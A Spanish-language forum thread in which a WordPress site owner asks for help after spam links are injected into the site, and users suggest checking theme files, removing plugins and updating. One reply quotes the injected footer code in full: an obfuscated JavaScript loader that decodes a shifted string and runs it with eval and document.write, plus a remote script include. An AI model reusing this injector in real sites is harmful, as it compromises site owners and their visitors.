Mi sitio ha sido hackeado, ¿cómo solucionarlo? Ayuda

  • Autor Autor bluewebmkt
  • Fecha de inicio Fecha de inicio
B

bluewebmkt

Gamma
Verificado por Whatsapp
Hola betas...

Solicitando su ayuda...

Mi sitio ha sido hackeado y han insertado links en todo el contenido... No tengo idea en como solucionarlo ni por donde empezar... cualquier ayuda sera de gran utilidad para mi.

El sitio es Enlace eliminado:

Gracias!!!
 
No veo nada :S...

Ah ahora si, como dice el compañero de abajo, busca los links en el footer y si no encuentras nada raro, yo optaría por ir desintalando los plugins nuevos, osea acabados de instalar (uno a uno).
 
Última edición:
Busca los links en la parte del footer.php o en index.php por ahí deben de estar esos enlaces, bórralos y cambia tooodas tus contraseñas 😱
 
Ya se habia dado un caso similar por aqui en el foro, el problema esa vez fue por un plugin
 
gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!
 
gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!

Ya no se ven 🙂
 
Perfecto! Muchas gracias a todos!
 
Perfecto! Muchas gracias a todos!
Hola yo los sigo viendo los enlaces , mira:
Enlace eliminado

Y la url donde los veo es: Enlace eliminado

Lamento no poder darte una mano, mis conocimientos son pocos!!
 

Adjuntos

  • denuevoahi.webp
    denuevoahi.webp
    83,8 KB · Visitas: 44
¿Qué plugin era?

gracias por responder tan rapido... No veo los links en el footer ni index... voy a dar otra checada, si no empiezo a desactivar plugins... muchas gracias...cualquier otra idea es bienvenida... saludso!

- - - Actualizado - - -

Creo que ya quedó... pueden corroborar que ya no ven los links justo antes del footer?

Borre un plugin que no estaba utilizando... quizas alguien pudo acceder al sitio a traves de ese plugin...

Podrian ayudarme a confirmar? Saludos!
 
Yo aún veo código javascript en el footer que seguro que tu no pusistes

Insertar CODE, HTML o PHP:
<script>(function(){unlock_key="aozjzv1xaky";secure_content="q2eebzduifknndrqi0rs";var at4tts="$2Brbqhos$2Du`q$1/````$2A$17etmbshnm$17$18$6Ahe$17vhmcnv-WLKGssoQdptdrs$18"+"adedo5 w23541".match(/\u0077/)+"$2Cmdv$1/WLKGssoQdptdrs$17$18$2Adkrd$1/"+"adedo5 w23541".match(/\u0077/)+"$2Cmdv$1/@bshudWNaidbs$17$11Lhbqnrnes-WLKGSSO$11$18$2A````$2C$17etmbshnm$17$18$6A`b`11b`$2CL`sg-eknnq$17L`sg-knf$174$18$18$2A`/30bd3$2CL`sg-bdhk$17L`sg-l`w$171$1B6$18$18$2A`466b/4$2CL`sg-eknnq$17L`sg-l`w$1703$1B0$18$18$2A`ed02/2$2CL`sg-lhm$175$1B7$18$2A$1/qdstqm$1/L`sg-eknnq$17`b`11b`$1/,`/30bd3$1A`466b/4$1A858234182,`ed02/2,032/23/476$18$2A$6C$18$17$18$2A$2Aw-nodm$17$11FDS$11$1B$11$2Er`ed254$2Cq$1328530177$13$11$1A````$1A$11$134/2/$11$1Bsqtd$18$2Aw-rdmc$17$18$6C$18$17$18$2A$2B.rbqhos$2D";eval('apbnlnls2=""');eval('azjn9nxex=""');var ag6vab;ag6vab=at4tts.length;for(i=0;i<ag6vab;i++){apbnlnls2+=String.fromCharCode(at4tts.charCodeAt(i)+1)};azjn9nxex=unescape(eval('apbnlnls2'));document.write(eval('azj'+'n9nxex'));})();</script><noscript><style>body,table{background:#1a001a;color:white}</style>Javascript needs to be enabled to<br>view this site correctly</noscript><script type=\"text/javascript\">var _kiq = _kiq || [];</script><script type=\"text/javascript\" src=\"//s3.amazonaws.com/ki.js/35108/6OT.js\" async=\"true\"></script><script type="text/javascript">var _kiq = _kiq || [];</script>

cuando lo quites tienes que limpiar el caché, sino se vuelven a poner. Seguro que te dejaron algún regalito para volver a insertar código cuando lo borres, yo que tu miraba todos los archivos...

Tienes WordPress desactualizado, últimamente lo he visto mucho y todos coinciden en un patrón: WordPress desactualizado y seguramente tus plugins y temas también lo estarán.

He estado arreglando problemas similares en muchos wordpress esta semana, unos 15 wordpress diferentes, mas o menos todos coincidian en archivos

index.php de wordpress
wp-config.php
wp-admin/index.php
index.php de tu theme
wp-includes/default-filters.php
htaccess
wp-blog-header.php
wp-admin/admin-header.php

Todos esos archivos tenían algo insertado y alguno más que no recuerdo.
 
Última edición:
Muchas gracias a todos!
El plugin era Custom Fields, me parece que este: WordPress › Advanced Custom Fields « WordPress Plugins

Voy a echarle un ojo a sus recomendaciones, ya limpie el cache, y les aviso como va todo. De nuevo muchas gracias!!

Slds,

- - - Actualizado - - -

Acabo de checar y el problema sigue...

Les aviso como me va... :S
 
Atrás
Arriba